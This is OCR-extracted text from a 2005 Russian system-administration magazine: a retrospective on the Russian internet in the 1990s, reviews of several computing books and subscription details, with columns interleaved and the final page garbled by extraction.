кой науки в Серпухове, Санкт-Петер-
ных бумаг новейшими интернет-тех-
нологиями.

но смело начинать с 1990 года, когда


в январе при финансировании амери-
канской «Ассоциацией за прогрессив-
ные коммуникации» из Сан-Франциско
была создана общественная органи-
бурге, Новосибирске, Дубне. Сеть ба-
зировалась исключительно на техно-
логии электронной почты UUCP, при-
чем с возможностью переписки и на
русском языке.
1992
В июле 1992 года сеть «Релком» была
официально зарегистрирована в панъ-
зация «Гласнет». Название «Гласнет» европейской сети EUnet под названием
тоже придумали американцы, объеди- «EUnet/Relcom» и стала крупнейшей на
нив слова Glasnost и Network. Эта об-
щественная организация была призва-
на обеспечить связью учителей, право-
защитников, экологов и других гаран-
тов открытого общества. В 1993 году
1991
В феврале 1991 года состоялся первый
сеанс связи между Москвой и Барна-
Европейском континенте. А в середи-
не года «Релком» начал эксперимен-
тальное внедрение on-line IP-протоко-
ла, обеспечивающего подключение в
режиме реального времени и расши-
«Гласнет» стала коммерческим про- улом посредством модемной связи на ряющего список доступных для ис-
вайдером.Позднее, 1 июля 1999 года, скорости 9600 бод с использованием пользования сервисов помимо элект-
слилась с «Совам Телепорт». А 2 сен- базового протокола TCP/IP. А 1 мая ко- ронной почты.
тября того же года «Совам Телепорт» личество внутрироссийского сетевого При активном участии «Релкома»
и «Телефонная связь Москвы» влились трафика превысило обмен между нами и использовании возможности сети
в ООО «ТелеРосс». и Западом. Сеть стала действительно EUnet/Relcom началась реализация
На этом знаковые события 1990 го- российской. проекта создания научной некоммер-
да не закончились. В августе была ос- В этом же году было освоено ис- ческой сети RELARN, головной орга-
нована компьютерная сеть «Релком» пользование телеконференций, ко- низацией которой является «РосНИ-
(название образовано от RELiable торые через первый почтовый сер- ИРОС».
COMmunications – надёжная связь). вер обеспечивали по подписке до- В этом же году был введен в дейс-
В работах по созданию сети принима- ставку сообщений до пользователей. твие новый канал на Запад через Ам-
ли участие специалисты кооператива А Институт коммерческой инженерии стердам, что примерно в четыре раза
«Демос» (впоследствии ООО «Ком- начал проект «ИнфоРынок», ставив- увеличило соответствующую пропуск-
пания «Демос»), большинство из них ший своей задачей информационную ную способность.

88
ретроспектива
историю агентство «РосБизнесКонсал- ложили начало целой плеяде подобных

1993
С 1993 года ведет свою историю компа-
ния «Демос Он-Лайн», которая с сере-
тинг», запустившее собственный сер-
вер в Интернете и ставшее впоследс-
твии одним из самых популярных и ува-
жаемых среди деловых русскоязычных
пользователей сети Интернет.
ресурсов в будущем, ознаменовался
началом осуществления Межведомс-
твенной программы «Создание нацио-
нальной сети компьютерных телеком-
муникаций для науки и высшей шко-
дины следующего года получила пер- Проект Комкон, предоставивший лы». Позднее она получила название
вых пользователей, а впоследствии возможность бесплатного размещения RBNet и занималась координировани-
стала одним из крупнейших провай- в сети для различных русскоязычных ем деятельности четырех ведущих ве-
деров России. некоммерческих проектов, первым домств в сфере науки и образования:
из которых стала электронная библи- Министерства науки и технологии, Ми-
отека, был запущен в мае 1995 года нобразования, РАН и РФФИ, а также

1994
В 1994 году был зарегистрирован до-
мен RU, что можно считать официаль-
и существует по сей день.
В сентябре того же года «Демос»
открывает каталог ресурсов Russia on
the Net, а компания «Россия-он-лайн»
становится первым массовым ком-
Госкомсвязи РФ.
В то же время в марте 1996 года
Институт «Открытое общество» (фонд
Сороса) приступил к реализации про-
граммы «Университетские центры Ин-
ным началом русскоязычного Интерне- мерческим провайдером и открывает тернет», рассчитанной на пять лет –
та. В рамках государственной програм- собственный информационный сайт. до 2001 года. Программа осуществля-
мы «Университеты России» начинает- 8 ноября 1995 года основан по- ется совместно с Правительством Рос-
ся создание опорной инфраструктуры, пулярнейший ресурс www.anekdot. сийской Федерации. Приобретение
объединяющей университетские сети ru Дмитрия Вернера. При поддержке оборудования и финансовая подде-
в различных регионах России, – буду- провайдера Cityline он был перенесён ржка университетских центров Интер-
щей сети RUNNet (Russian Universities в Россию и долгое время удержи- нета в объеме 100 миллионов долларов
Network). Первая очередь охватыва- вал лидирующие позиции в рейтин- осуществляются фондом Сороса. Пра-
ла шесть российских регионов и была ге rambler top100. Именно этот ресурс вительство России финансирует в объ-
реализована уже в начале 1995 года. в феврале 1998 года впервые в исто- еме 30 миллионов долларов спутнико-
Связь осуществлялась на базе систем рии возглавил одну из категорий все- вые или наземные каналы для подклю-
спутниковой связи с двумя управляю- мирного рейтинга World Top 1000. чения к российским и международным
щими центрами в Москве и Санкт-Пе- В конце 1995 года по инициативе сетям телекоммуникаций с пропускной
тербурге. К 1996 году сеть работала Федерального агентства правительс- способностью 256 килобит в секунду.
в пятнадцати регионах. твенной связи и информации (ФАПСИ) Из наиболее значимых ресурсов,
началась работа по созданию и реали- созданных в этом году, можно отметить
зации проекта «Деловая сеть России». поисковую систему rambler.ru. Это про-

1995
По инициативе МГУ, поддержанной
«Релкомом», «Демосом» и другими
Проект предусматривал построение
сети для коммерческого применения
с учетом ее специфики, включая ре-
шение проблемы обеспечения сохран-
ности информации. Участники проек-
ект компании «Стек» впоследствии
благодаря выдающимся показателям
по проиндексированным документам и
сервера быстро обойдет другие попу-
лярные поисковые сервера и некоторое
крупными интернет-провайдерами, та – ФАПСИ, «Ростелеком», «Релком», время будет находиться в лидерах.
создан первый в России узел обме- «Роспак» и ряд других организаций. В Интернет входят радиостанции.
на IP-трафиком на Московской меж- Тогда же Совет по международным Радио-101 первым открывает свой ин-
дугородной телефонной станции М-9 исследованиям и научным обменам формационный сайт и приступает, по-
(М9-IX – один из самых крупных по- США (IREX) начал реализацию про- мимо УКВ-диапазона, к трансляции
добных узлов в Европе). Это позволи- граммы «Расширение доступа к Интер- своих программ через Интернет. Радио
ло ряду российских интернет-провай- нету», которая обеспечивала бесплат- «Серебряный дождь» идёт ещё дальше
деров напрямую обмениваться сете- ный доступ к электронной почте, Интер- и первым в Европе начинает круглосу-
вым трафиком с использованием об- нету и обучение выпускникам по про- точное непрерывное вещание через Ин-
щего оборудования для уменьшения граммам, финансируемым правитель- тернет в режиме реального времени.
транзитного трафика. ством США, высшим учебным заведе- Вообще 1996 год был крайне богат
Первая русскоязычная доска объ- ниям, библиотекам и некоммерческим на события, особенно касающиеся от-
явлений была открыта в 1995 году. организациям на территории СНГ. крытия в будущем наиболее популяр-
Она обеспечивала связь для пользо- ных ресурсов. Среди них чат «кроват-
вателей первой русскоязычной игры ки», первый номер «zhurnal.ru», «чёр-
«Буриме».
В этом же году «Учительская газе-
та» закрепила за собой право первой
выпустить электронную версию своего
издания. С мая 1995 года ведёт свою
1996
1996 год, помимо создания многочис-
ленных первых ресурсов, которые по-
товы кулички» и прочие не менее ин-
тересные ресурсы. Также в этом го-
ду на российский рынок вышли такие
игроки, как провайдер Cityline, кото-
рый благодаря массированной рек-

№9, сентябрь 2005 89


ретроспектива
ламной кампании в 1997 году извес- «зеркал» и возможности контролиро- тей документальной электросвязи»,
тен уже всем русскоязычным пользо- вать целевую аудиторию, Reklama.ru в посвященный обсуждению СОРМ-2 –
вателям Интернета. короткий срок вытеснила с рынка свое- «системы оперативно-розыскных ме-
го предшественника – рекламную сеть роприятий». Она позволяла «эффек-
«Спутник». тивно обходить сотрудникам ФСБ тре-

1997
В 1997 году компания Mirabilis выпус-
тила первую версию программы ICQ,
15 сентября открылась бесплатная
почтовая служба Pochta.ru. Из-за несо-
вершенства программного обеспече-
ния она так и не смогла нормально за-
работать и вскоре была закрыта.
бования Конституции и действующего
законодательства в части обязатель-
ности судебного решения для ограни-
чения тайны переписки, телефонных
переговоров, телеграфных и иных со-
которая в дальнейшем стала популяр- 23 сентября произошло одно из са- общений применительно к компью-
нейшим инструментом общения в ре- мых знаменательных событий 1997 го- терным сетям, в частности Интернет».
альном времени, вытеснив на обочи- да – официальное открытие поисковой Публикация новостей, исследований,
ну истории технологию IRC. Менее чем системы Яndex.ru, позволяющая про- комментариев, а также проведение
через полтора года количество рус- изводить поиск в русской Сети с пол- различных акций, направленных про-
ских пользователей ICQ оценивалось ным учетом морфологии русского язы- тив СОРМ-2, привело к тому, что ин-
в 65-130 тыс. человек. ка. Новая поисковая система быстро формация о проекте СОРМ-2, позволя-
4 февраля на сервере Cityline откры- совершенствуется: вскоре появляет- ющем осуществлять тотальную слеж-
лась служба TrubAddUrl – система ав- ся возможность формулировать по- ку за гражданами, стала достоянием
томатизированной подачи информации исковые запросы на «естественном» широкой общественности.
об интернет-ресурсах (включая их URL (разговорном) языке, ранжировать ре- Согласно исследованию, прове-
и описание) одновременно в десять по- зультаты поиска, искать «похожие до- денному в июле московским офисом
исковых машин и каталогов русской Се- кументы» и т. д. International Data Corporation (IDC), ко-
ти, а также в «культовую российскую 1997 год стал отправной точкой личество пользователей российского
«искалку» AltaVista». В октябре того же в развитии российского Интернета, так Интернета достигло 1,2 млн. (в 1996-м
года служба была доработана и пере- как именно в этом году было положе- их было всего 384 тыс.).
именована в «Систему TAU». но начало открытию множества попу- 17 августа разразившийся финан-
16 марта того же года состоял- лярных (и не очень) русскоязычных ре- совый кризис спровоцировал ажиотаж-
ся Первый Российский Интернет Фо- сурсов. На всё их описание не хватило ный спрос на финансово-политическую
рум, организованный РОЦИТ и Изда- бы и целого журнала. информацию. Лидером по ее предо-
тельским домом «Открытые системы». ставлению стал сервер РИА «РосБиз-
Главная тема дискуссий «Использо- несКонсалтинг». В связи с резко воз-
вание Интернет в корпоративных се-
тях». В работе форума приняли учас-
тие около трехсот человек, представ-
лявших почти 200 российских и запад-
ных компаний.
1998
24 февраля 1998 года осужден Влади-
мир Левин. Арестованный в марте 1995
росшей посещаемостью сервера РБК
17 августа агентство расширило канал
в Интернете с 512 Кбит/c до 1,1 Мбит/с.
Однако и этого оказалось недостаточ-
но. Уже 26 августа канал был расши-
Рейтинговая система Rambler’s Top года за компьютерное ограбление «Си- рен до 2,2 Мбит/с, а 21 сентября – до
100 стартовала 24 марта 1997 года. тибанка» российский хакер был приго- 3,2 Мбит/с. (Следующий всплеск по-
Она позволила всем желающим уста- ворен судом Нью-Йорка за хищение сещаемости РБК произошел в марте
новить на заглавную страницу свое- 3,7 млн. долларов к трем годам тюрь- 1999-го в связи с повышенным интере-
го сайта счетчик посещений и принять мы и денежному штрафу в размере сом к событиям в Югославии – канал
участие в рейтинге популярности сай- 240 015 долларов. снова был расширен, на этот раз до 5,5
тов российского Интернета в различ- 28 апреля. Радио 101 становится Мбит/с.) 5 ноября РИА «РосБизнесКон-
ных категориях. первой русской радиостанцией, коли- салтинг» удостоено наивысшей награ-
15 июля издательство «Инфоарт» чество потенциальных слушателей ко- ды конкурса «Бизнес-Сайт’98» – ГРАН-
объявило о создании первых офици- торой в Сети практически не ограни- ПРИ. А 1 октября РБК установил свое-
ально зарегистрированных русско- чено (возможно 60000 одновремен- образный рекорд посещаемости в рос-
язычных push-каналов персональной ных соединений). А уже 7 мая начина- сийском Интернете – количество захо-
доставки заказной информации по се- ет работу RadioNet – первая в России дов на сервер превысило 3 млн.
ти Интернет. радиопрограмма, выходящая только 1 ноября открылась бесплатная
13 августа может считаться днём в Интернете. Ведущий – Алексей Анд- почтовая служба Mail.ru. В отличие
начала борьбы с баннерами, так как реев. К марту 2000-го вышло 20 пере- от предшествующих попыток созда-
вступила в действие баннерная сеть дач, включая 5 передач из цикла «Го- ния такого сервиса в российской сети
Reklama.ru. 10 января следующего го- лоса русского Интернета» (интервью (Extranet и Pochta.ru) проект оказался
да под названием Reklama.ru 2.0 поя- с известными сетевыми деятелями). очень удачным. Позднее 20% акций
вилась ее усовершенствованная вер- 28 июня на сайте «Московского ли- компании Port.ru, создавшей этот сер-
сия. Благодаря более совершенной тех- бертариума» открылся раздел «Регу- вис, было продано иностранным инвес-
нологии (RotaBanner), использованию лирование и экономика СОРМ для се- торам за 940 тыс. долларов, в резуль-

90
ретроспектива
тате чего капитализация компании, все 14 мая – открытие RB2, реклам- 6 декабря открылось первое в рос-
имущество которой – несколько ком- ной сети, созданной Студией Арте- сийском Интернете медиа-байинговое
пьютеров и интеллектуальная собс- мия Лебедева, с форматом баннеров агентство (агентство, специализирую-
твенность, составила 4,7 млн. долла- 100x100 пикселей. Меньше чем за ме- щееся на покупке рекламного места в
ров. Это можно считать первой круп- сяц сеть RB2 выходит на миллион по- различных средствах массовой инфор-
ной сделкой в российском Интернете. казов баннеров в сутки. Попутно на- мации, в том числе на телевидении и в
5 марта 1999 года количество заре- чинаются разработки «баннерорезок», печатной прессе) – Internet Media House
гистрированных пользователей Mail. впоследствии так и не ставших чрез- Russia (IMHR). Учредители: Stonton
ru составило 100 тыс., 27 сентября – мерно популярными. Research, Фонд социальной и неком-
500 тыс., а 29 февраля 2000 года до- 21 июля разгорается скандал, свя- мерческой рекламы (ФСНР), Студия
стигло миллиона. занный с публикацией в Сети романа Артемия Лебедева, Юлия Соловьева,
Согласно отчету РОЦИТ за 1998 Владимира Сорокина «Голубое сало». Антон Носик. Председатель совета ди-
год, количество российских пользова- Обсуждение частного вопроса – пуб- ректоров – Арсен Ревазов. Генераль-
телей Интернета составило на конец ликация романа без разрешения авто- ный директор – Юлия Соловьева. Од-
года около 1,5 млн. Качественный со- ра – перерастает в глобальную дискус- ной из первых акций агентства стало
став пользователей: более 85% – муж- сию по проблеме авторских прав в Ин- проведение рекламной компании Ин-
чины, около 55% имеют высшее обра- тернете. Автор романа и издательство тернет-ресурсов на НТВ (совместно с
зование; около 80% русскоязычных Ad Marginem, которому принадлежит московским представительством Intel)
пользователей живут в России, почти эксклюзивное право на публикацию с 17 февраля по 2 апреля 2000 года.
половина из них – в Москве. В стране романа, подают в суд на Андрея Чер- 10 декабря выигран первый судеб-
действует более 300 интернет-провай- нова и требуют «обязать ответчика ус- ный иск по делу о плагиате из Интер-
деров; создано свыше 26 тыс. инфор- транить с его сайта любые возможнос- нета. На состоявшемся 10 декабря за-
мационных ресурсов; общий объем ин- ти по доступу к тексту романа «Голубое седании арбитражный суд в Москве
формации на русском языке в российс- сало», в том числе ссылки на любые ад- признал издательство «Познаватель-
кой Сети – не менее 0,5 терабайта. реса в Интернете, с которых возможна ная книга плюс» виновным в плаги-
загрузка данного произведения». 18 ян- ате и обязал его к уплате компенса-
варя 2000-го дело разрешается побе- ции в 54 000 рублей в пользу постра-

1999
22 января 1999 года Яndex приступил
к еженедельному мониторингу интере-
дой Чернова – суд отклоняет иск.
Открыта круглосуточная ново-
стная интернет-служба Lenta.ru – но-
вый результат сотрудничества Фонда
эффективной политики с командой,
давшей стороны – компании Promo.Ru
и ее директора Тимофея Бокарева.
Десятилетие 90-ых можно смело
отнести к наиболее важным для рос-
сийского сегмента сети. Именно в эти
сов пользователей русской Сети, введя создавшей в декабре 1998 года про- годы был заложен фундамент первых
НИНИ-индекс (расшифровывается как ект Gazeta.ru. Главный редактор изда- ресурсов, как виртуальных, так и фи-
«Непостоянство интересов населения ния – Антон Носик. За короткие сроки зических, которые впоследствии поз-
Интернета») – коэффициент измене- Lenta.ru стала крупнейшим информа- волили вырасти русскому сегменту до
ния интересов пользователей Интерне- ционным ресурсом в российском Ин- весьма внушительных размеров.
та. Индекс, публикуемый по понедель- тернете. В марте 2000 года Lenta.ru бы- Выражаем признательность Евге-
никам, отражает рост и падение числа ла куплена инвестиционным консорци- нию Горному за предоставленные мате-
запросов пользователей по определен- умом «Русские фонды – Orion Capital риалы. Источник – http://www.zhurnal.ru/
ным ключевым словам, популярность Advisors» (Internet Holding Company), staff/gorny/texts/ru_let/index.html.
которых пережила наиболее заметные ранее приобретшим контрольный па-
сдвиги за последнюю неделю. кет интернет-портала Rambler. От редакции
5 марта знаменательно использо- 24 ноября компания «ТелеРосс», Материалом об истории российского Ин-
ванием Сети как средства дезинфор- входящая в холдинг «Голден Теле- тернета мы открываем новую рубрику –
мации. Поздно вечером в «Дискуссии ком», который в свою очередь нахо- «Ретроспектива». В ней мы планируем рас-
«Полит.ру» появилось сообщение о са- дится под контролем (приблизитель- сказывать вам об исторических событиях,
моубийстве губернатора Санкт-Петер- но на 57%) американской корпорации имевших ключевое значение в развитии
бурга Владимира Яковлева. Через не- GTS, объявила о приобретении петер- всей IT-индустрии, о технологиях, не на-
сколько часов сообщение повторили бургских фирм «Невалинк» и «НеваТе- шедших своего применения по различным
Gazeta.ru и Forum.msk.ru. Вскоре выяс- леком». До того в состав «ТелеРосса» причинам, бесславно (а иногда и намерен-
нилось, что это дезинформация; пос- вошли компании «Совам Телепорт» но) забытых. Если вам есть о чем расска-
ледовало опровержение. Тем не менее и «Гласнет». зать – присылайте материалы на адрес
пресса откликнулась статьями (12 мар- 29 ноября открылся сервер SpyLOG – shaman@akeeper.ru, самые интересные из
та в «Новых Известиях» и 19 марта системы по сбору и анализу интернет- них мы с радостью опубликуем.
в «Комсомольской правде»), где вы- статистики. В течение следующего го- Свои отзывы и пожелания вы можете
сказывалось представление об Интер- да SpyLOG станет самым популярным оставлять на нашем форуме.
нете в целом как среде анонимных по- и авторитетным статистическим серви-
литических провокаций. сом в российском Интернете. Редактор рубрики Кирилл Тихонов

№9, сентябрь 2005 91


книжная полка

Pelr 6 и Parrot
Эллисон Рэндал, Дэн Сугальски, Леопольд Тёч
Круг рассмотренных тем весьма ши- менные, исключения и обработчик ис-
рок. В начале книги подробно описа- ключений, управление потоками, собы-
но «рождение» 6 версии. Очень любо- тия, загрузка байт-кода, классы и объ-
пытен материал, в котором авторы де- екты, написание тестов). Раздел, пос-
лятся своими взглядами на лингвисти- вященный промежуточному представ-
ческий, познавательный и архитектур- лению Parrot (PIR), содержит следую-
ный стиль разработки. Новички полу- щие материалы: операторы, перемен-
чат необходимые сведения для нача- ные и константы, метки, управление по-
ла изучения в главе «Базовый синтак- током. Завершает книгу справочник по
сис». Использование подпрограмм (ко- Parrot (в котором описаны коды опера-
торые, по сути, являются повторно ис- ций pasm, директивы и команды PIR).
пользуемыми секциями кода) освеще- Несмотря на то что в данный момент
но в достаточной степени: рассмотре- нет окончательной спецификации язы-
В основе книги лежит описание но- ны параметры, аргументы, пустые под- ка Perl 6, большое количество людей на-
вых средств шестой версии Perl. Авто- программы, область действия подпро- чинает на нем писать. Отличная книга
ры (которой, надо заметить, являются грамм и многое другое. Не остались для Perl-программистов и желающих
членами основной группы разработки без внимания и объекты (использова- быть «впереди планеты всей».
языка), подробно рассказывают, ка- ние объектов, классы, роли, делегиро-
кие нововведения сделают Perl 6 еще вание). Про Parrot представлена фак- ! Издательство: «КУДИЦ-ОБРАЗ»
более удобным и практичным языком, тически исчерпывающая информация: ! Год издания: 2005
способным решать самые разнообраз- внутренняя структура (интерпретатор, ! Количество страниц: 320
ные задачи. Несмотря на то что изда- ввод-вывод, объекты, расширение воз- ! ISBN: 5-9579-0086-9
ние позиционируется как справочник, можностей), язык ассемблера parrot ! Цена: ≈ 206 руб.
его можно использовать и как основ- (основы языка, стеки и фреймы регис- Книга предоставлена издательством «КУ-
ной источник для изучения Perl 6. тров, лексические и глобальные пере- ДИЦ-ОБРАЗ».

Slackware/MOPSLinux
для пользователя
Дмитрий Крюков, Виктор Лобко, Олег Семыкин
спутником. Иллюстрированное руко- ступа к файлам, описано большинство
водство по установке системы помо- самых используемых команд. Подроб-
жет читателю установить ОС и понять ное описание работы с сетью из консо-
общие концепции этого дистрибути- ли (ftp, почта, работа с web). Основной
ва. После установки читателя ждет на- редактор «всех времен и народов» vi,
стройка системы, которая также осве- утилиты по работе с пакетами. Адми-
щена подробно, рассмотрено факти- нистрирование системы рассмотрено
чески все – настройка и тестирование также подробно, в небольшом по объ-
сети, уровни запуска и остановки сис- ему тексте очень удачно изложены все
темы, ядра, система x-windows, выбор основные принципы (файловые систе-
различных desctop и window-менедже- мы, резервное копирование, управле-
ров, процесс загрузки системы и раз- ние памятью). Завершает книгу глава,
личные boot-менеджеры. Даже если вы в которой рассказывается про работу
Популярность дистрибутива MOPSLinux до текущего момента не сталкивались в KDE. В приложении к книге вы най-
среди русскоязычных пользователей с Linux, после прочтения главы «Ис- дете CD с MOPSLinux.
стремительно растет, и эта книга по- пользование системы» приобретен-
явилась очень кстати. MOPS занял ные в процессе изучения материала ! Издательство: «БХВ-Петербург»
очень удачную и перспективную ни- навыки позволят общаться с системой ! Год издания: 2005
шу среди дистрибутивов. Для многих уже на «ты» (конечно, с точки зрения ! Количество страниц: 272
пользователей, которые решили на- пользователей, но ведь для них и на- ! ISBN: 5-94157-776-1
чать знакомство с миром Linux имен- писана эта книга). Рассмотрено факти- ! Цена: ≈ 195 руб.
но с дистрибутива MOPS, данное из- чески все, что вам может пригодиться Книга предоставлена компанией Линукс-
дание станет просто незаменимым на первых порах: объяснение прав до- центр.

92
книжная полка

Внутреннее устройство
Microsoft Windows: Windows Server 2003,
Windows XP, Windows 2000
Марк Руссинович, Дэвид Соломон
тельная система, ядро, драйверы ус- драйверы дисков, управление томами.
тройств), системные механизмы: дис- Диспетчер кеша: размеры и структу-
петчеризация ловушек, диспетчер объ- ры данных кеша, интерфейсы файло-
ектов, синхронизация, трассировка со- вых систем. Поддержка сетей: сетевые
бытий ядр, wow64. Механизмы управле- API, драйверы протоколов. Книга реко-
ния: реестр, сервисы, WMI. Запуск и за- мендуется всем без исключения адми-
вершение работы системы. Процес- нистраторам и системным программис-
сы, потоки и задания: внутреннее уст- там, занимающимся Windows. Матери-
ройство процессора, что делает функ- ал предполагает достаточный уровень
ция CreateProcess, наблюдение за ак- знания у читателей. Несмотря на слож-
тивностью и планирование потоков. Уп- ность описываемых тем, книга написа-
Это издание – лучшее из того, что равление памятью: введение в диспет- на простым и доступным языком.
опубликовано о внутреннем устройс- чер памяти, его сервисы, системные пу-
тве Windows. Размах и качество мате- лы памяти, структура виртуального ад- ! Издательство: «Питер»
риала поистине поражает воображе- ресного пространства. Защита: клас- и «Русская редакция»
ние. Судите сами. Концепции и инстру- сы безопасности, права и привилегии ! Год издания: 2005
менты: изучение внутреннего устройс- учетных записей, аудит безопасности. ! Количество страниц: 992
тва Windows. Архитектура системы: об- Подсистема ввода-вывода: драйверы ! ISBN: 5-469-0117407
зор архитектуры (переносимость, SMP, устройств, обработка ввода-вывода, ! Цена: ≈ 735 руб.
масштабируемость), ключевые ком- диспетчер PnP, диспетчер электропи- Книга предоставлена издательством «Пи-
поненты системы (ntdll.dll , исполни- тания. Управление внешней памятью: тер».

Операционные системы.
Разработка и реализация
Эндрю Таненбаум, Альберт Вудхалл
Собственно, а что в ней такого уди- взаимодействие, планирование, реа-
вительного и уникального? Я думаю, лизация процессов. Ввод-вывод: при-
это единственная книга по проектиро- нципы аппаратуры ввода-вывода, вза-
ванию операционных систем, где те- имоблокировка, блочные устройства,
ория настолько удачно сочетается ram-диски, часы, терминалы.
с практикой. Предложенная в книге ин- Управление памятью: подкач-
формация является фундаментальной ка, виртуальная память, алгоритмы
основой для любого разработчика ОС замещения страниц, сегментация, об-
(или желающего им стать). На протя- зор и реализация управления памятью
жении всей книги в качестве наглядно- в MINIX. Реализация файловой сис-
го примера приводится ОС MINIX, ко- темы, безопасность и механизмы за-
торую автор книги написал для обуче- щиты. Отличная книга от известного
ния студентов, ОС UNIX, содержание специалиста.
Думаю, эта книга не нуждается в пред- UNIX-подобных систем «изнутри». Кни-
ставлении, и не ошибусь, если скажу, га разделена на 6 больших глав, пер- ! Издательство: «Питер»
что это одна из самых ожидаемых книг вая, по традиции это вводный мете- ! Год издания: 2005
на русском языке. Это издание (в ори- риал. Последняя представляет собой ! Количество страниц: 576
гинале, само собой) стало «настоль- библиографию. На остальных главах ! ISBN: 5-469-00148-2
ной книгой», или даже «библией» для остановимся более подробно. Процес- ! Цена: ≈ 578 руб.
многих. Отчасти благодаря ей Линус сы и нити: рассмотрены модели и реа- Книга предоставлена издательством «Пи-
Торвальдс создал Linux, да много че- лизация процессов, межпроцессорное тер».
го еще произошло не без помощи тру-
дов Таненбаума. Обзор книжных новинок подготовил Александр Байрак

№9, сентябрь 2005 93


подписка на 2006 год
Российская Федерация ! Казахстан – по каталогу «Российская Пресса» через
! Подписной индекс: 81655 ОАО «Казпочта» и ЗАО «Евразия пресс»
Каталог агентства «Роспечать» ! Беларусь – по каталогу изданий стран СНГ через РГО
! Подписной индекс: 87836 «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
Объединенный каталог «Пресса России» ! Узбекистан – по каталогу «Davriy nashrlar» российские
Адресный каталог «Подписка за рабочим столом» издания через агентство по распространению печати
Адресный каталог «Библиотечный каталог» «Davriy nashrlar» (7000029, г. Ташкент, пл. Мустакиллик,
! Альтернативные подписные агентства: 5/3, офис 33)
Агентство «Интер-Почта» (095) 500-00-60, курьерская ! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
доставка по Москве «Армпечать» (375005, г. Ереван, пл. Сасунци Давида,
Агентство «Вся Пресса» (095) 787-34-47 д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул. Са-
Агентство «Курьер-Прессервис» рьяна, 22)
Агентство «ООО Урал-Пресс» (343) 375-62-74 ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29)
http://www.arzy.ru и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г. Тирасполь, ул. Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайслисту через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номен- (2012, г. Кишинев, бул. Штефан чел Маре, 134)
клатуры АРЗИ: ! Подписка для Украины:
! Азербайджан – по объединенному каталогу российских Киевский главпочтамп
изданий через предприятие по распространению печа- Подписное агентство «KSS»
ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

94
подписка на 2006 год
Редакционная подписка
Открыта подписка через редакцию журнала «Системный №3(28) март 2005
№4
подп (29)
ww исно апре
w.s й л
am инде ь

администратор». Вы можете оформить подписку на любое


ag.r 2 00
подписной индекс
81655 По u
кс
8165 5
www.samag.ru хорошо, Alt чтов 5
один монитор -N ая
Linux Xinerama: Ба MD си
aem сте
а много лучше ма зова on ма

количество номеров 2006 года. Редакция не высылает жур- кая редакция рш я н


Knop pix – русс Win р у т ст а
удаленных файл
ов dow изато ройк
Восстановление Ap
ach s Ser
ра а
Cis
под Linux
налы за пределы Российской Федерации.
ows Ви eк ver co
не Microsoft Wind рту ак Up
FreeBSD в доме Ар ал
ь
про
кси
dat
eS
on: с п хиви н ая erv
Практикум Pythов по электронной почте ом руе ма
ши
-се
рве ice
s
отправка файл За ощ м на р
– щ ью да
ых в Linux Win ита Ba нны SV
Шифрование данн на аппаратные
ключи dow ко cula е IST
A
и новый взгляд Си
с s M мму №5

Для юридических лиц:


и д т o н (30
ц оку ема bile ика по
цеп

я процесса
д
ww писн
о н Авто мати заци м е с ц и w.s ой ай 2
к баз 1С Оп нта озд й По amag индек 005
200
5 ие подключения под тими ции ани Ищ чем .ru с 8165
аль 5 бщ
евр 8165 я –о при помо щи QEMU Lin зац PO я ем у M 5

! Отправте заявку по факсу (095) 928-82-53 или по e-mail:


) ф кс ц и Эмул яция u x яц и D Ст пр S S
(27 инде
№2 исной .ru т е гра н о вка р на shell ик W ро
и
ич QL
ин м
ин ание лов
подп .sam
ag
ная ста ия рве Программиров х условиях PA м
-En защ ы едл
w
я у емы чен -се в экстремальны На ен
тем
ww
ска систбеспе кси стр ter ищ но
Сис ч е й о п р о аи
pris ен ра
ати но о
info1@samag.ru.
й C Ка ва e, ную бо
ом ион ног ьны TIN уд к во ем 80 тае
Авт ерац рамм сал ьс ал сс UP 2. бес т?
оп прог вер сет Чт ен та
ны но S п 1x EA пров
и уни н ую D
ов е ф вит од P-T од

! Укажите наименование и банковские реквизиты своей


– л ь BS а жн ай ь Lin LS ную
KS туа ree
Ус ux
SOC ви р F с в тан оз лы се
ть:
о им е л иза кур s t
tf fiixx ы
ко ав
рп ли
на